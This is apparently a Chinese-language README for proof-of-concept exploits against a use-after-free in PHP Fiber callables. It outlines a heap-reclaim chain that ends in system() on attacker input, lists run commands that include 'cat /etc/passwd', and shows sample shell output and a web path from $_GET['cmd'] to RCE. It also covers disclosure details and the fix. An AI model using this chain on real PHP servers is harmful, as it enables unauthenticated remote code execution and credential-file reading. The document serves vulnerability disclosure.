
针对 PHP Fiber 可调用对象释放后使用漏洞(CVE-2026-2031226)的概念验证利用代码,可实现堆回收、类型混淆、信息泄露以及未认证远程代码执行。
严重性:严重(CVSS 9.8 — Web 上下文中的未认证 RCE)
受影响:PHP 8.1.x–8.4.27、PHP 8.5.x–8.5.12
修复于:PHP 8.4.28-dev、PHP 8.5.13-dev
组件:Zend/zend_fibers.c — zend_fiber_addref_callable()(缺失)
类型:释放后使用 → 堆回收 → 属性别名 → RCE
当在实例方法内部使用类方法可调用对象 [ClassName::class, 'method'] 创建 PHP Fiber 时,PHP 会将隐式 $this 解析到 fci.object 中,而不增加其引用计数(GC_ADDREF)。如果在调用 Fiber::start() 之前该对象被释放,则被释放的内存槽可被攻击者控制的、大小相同的分配所回收,从而实现跨类属性别名和远程代码执行。
1. Fiber UAF: new Fiber([SafeProcessor::class, 'process'])
→ fci.object = $processor, NO GC_ADDREF (the bug)
2. Free: unset($processor)
→ efree(56-byte slot), fci.object dangling
3. Heap reclaim: new UserRequest($argv[1])
→ LIFO free list, UserRequest lands in freed slot
→ UserRequest::$command = attacker-controlled string
4. UAF trigger: $fiber->start()
→ PHP reads fci.object (UserRequest's slot)
→ name-lookup "command" in UserRequest's ce
→ IS_STRING = attacker input
→ system($this->command) → RCE
# Original crash (SIGSEGV, exit 139)
php poc_fiber_uaf.php
# Type confusion: IS_LONG read as IS_STRING
php poc_fiber_type_confusion.php
# 64-bit value injection / info leak primitive
php poc_fiber_infoleak.php
# Full RCE — attacker-controlled input via argv[1]
php poc_fiber_rce.php 'id && whoami'
php poc_fiber_rce.php 'cat /etc/passwd'
$ php poc_fiber_rce.php 'id && uname -a'
[*] Attacker input: 'id && uname -a'
[*] SafeProcessor freed, UserRequest at same address
[*] Starting fiber...
---
[victim expects] command = 'echo safe_output_only'
[actual shell output]:
uid=501(adrian) gid=20(staff) groups=20(staff),80(admin),...
Darwin ... arm64
---
[*] RCE complete (exit 0)
要使 RCE 可被利用,目标应用必须满足全部条件:
$this->prop 调用 system()/exec()/shell_exec() 的方法[VictimClass::class, 'method'] 创建$fiber->start() 之前(unset、作用域退出、GC)sizeof(AttackerClass) == sizeof(VictimClass)(相同的 ZendMM bin:40 + n_props * 16 字节)$fiber->start()在 Web/FPM 上下文中:$_GET['cmd'] → new AttackerClass($_GET['cmd']) → 回收槽位 → system($_GET['cmd']) — 未认证 RCE。
Zend/zend_fibers.c — 在可调用解析中缺少 GC_ADDREF:
// BUG: fci.object stored without refcount increment
// Fix (PHP 8.4.28-dev / 8.5.13-dev):
static void zend_fiber_addref_callable(zend_fcall_info *fci) {
if (fci->object) {
GC_ADDREF(fci->object); // added by fix
}
}
PHP 8.4.28-dev 和 8.5.13-dev 添加了 zend_fiber_addref_callable(),其中包含 GC_ADDREF(fiber->fci.object),并在 zend_fiber_release_callable() 中添加了配对的 OBJ_RELEASE。
| 文件 | 描述 |
|---|---|
poc_fiber_uaf.php | 原始崩溃 PoC(退出码 139,SIGSEGV) |
poc_fiber_type_confusion.php | 类型混淆:在期望 IS_STRING 的位置出现 IS_LONG |
poc_fiber_infoleak.php | 64 位受控值注入 / 信息泄露原语 |
poc_fiber_rce.php | 利用攻击者控制的外部输入实现完整 RCE |
disclosure_fiber_uaf.txt | 发送至 [email protected] 和 [email protected] 的完整披露报告 |
Adrian / [email protected] 基于此前的 PHP 安全研究:CVE-2026-109618、CVE-2026-109619